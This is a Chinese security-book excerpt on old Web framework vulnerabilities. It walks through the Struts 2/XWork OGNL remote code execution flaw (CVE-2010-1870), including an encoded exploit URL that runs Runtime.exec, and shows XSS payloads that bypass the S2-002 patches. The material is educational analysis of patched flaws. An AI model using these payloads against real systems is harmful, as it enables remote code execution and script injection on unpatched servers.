下面讲到的几个漏洞,都是一些流行的Web开发框架曾经出现过的严重漏洞。研究这些案例,可以帮助我们更好地理解框架安全,在使用开发框架时更加的小心,同时让我们不要迷信于开发框架的权威。
2010年7月9日,安全研究者公布了Struts 2一个远程执行代码的漏洞(CVE-2010-1870),严格来说,这其实是XWork的漏洞,因为Struts 2的核心使用的是WebWork,而WebWork又是使用XWork来处理action的。
这个漏洞的细节描述公布在exploit-db[1]上。
在这里简单摘述如下:
XWork通过getters/setters方法从HTTP的参数中获取对应action的名称,这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL是怎么处理的呢?如下:
user.address.city=Bishkek&user['favoriteDrink']=kumys
会被转化成:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的,它的参数是用户可控的,由HTTP参数传入。OGNL的功能较为强大,远程执行代码也正是利用了它的功能。
* Method calling: foo()
* Static method calling: @java.lang.System@exit(1)
* Constructor calling: new MyClass()
* Ability to work with context variables: #foo = new MyClass()
* And more...
由于参数完全是用户可控的,所以XWork出于安全的目的,增加了两个方法用以阻止代码执行。
* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)
* SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)
但这两个方法可以被覆盖,从而导致代码执行。
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
ParametersInterceptor是不允许参数名称中有#的,因为OGNL中的许多预定义变量也是以#表示的。
* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.
* #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
* #root
* #this
* #_typeResolver
* #_classResolver
* #_traceEvaluations
* #_lastEvaluation
* #_keepLastEvaluation
可是攻击者在过去找到了这样的方法(bug编号XW-641):使用\u0023来代替#,这是#的十六进制编码,从而构造出可以远程执行的攻击payload。
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRunti
me()))=1
最终导致代码执行成功。
Struts 2官方目前公布了几个安全补丁[2]:
Struts 2官方的补丁页面
但深入其细节不难发现,补丁提交者对于安全的理解是非常粗浅的。以S2-002的漏洞修补为例,这是一个XSS漏洞,发现者当时提交给官方的POC只是构造了script标签。
http://localhost/foo/bar.action?<script>alert(1)</script>test=hello
我们看看当时官方是如何修补的:
新增的修补代码:
可以看到,只是简单地替换掉<script> 标签。
于是有人发现,如果构造 <<script>>,经过一次处理后会变为 <script>。漏洞报告给官方后,开发者再次提交了一个补丁,这次将递归处理类似<<<<script>>>>的情况。
修补代码仅仅是将if变成while:
这种漏洞修补方式,仍然是存在问题的,攻击者可以通过下面的方法绕过:
http://localhost/foo/bar.action?<script test=hello>alert(1)</script>
由此可见,Struts 2的开发者,本身对于安全的理解是非常不到位的。
本文节选自《白帽子讲Web安全》一书。
图书详细信息:
http://www.cnblogs.com/broadview/archive/2012/04/09/2439203.html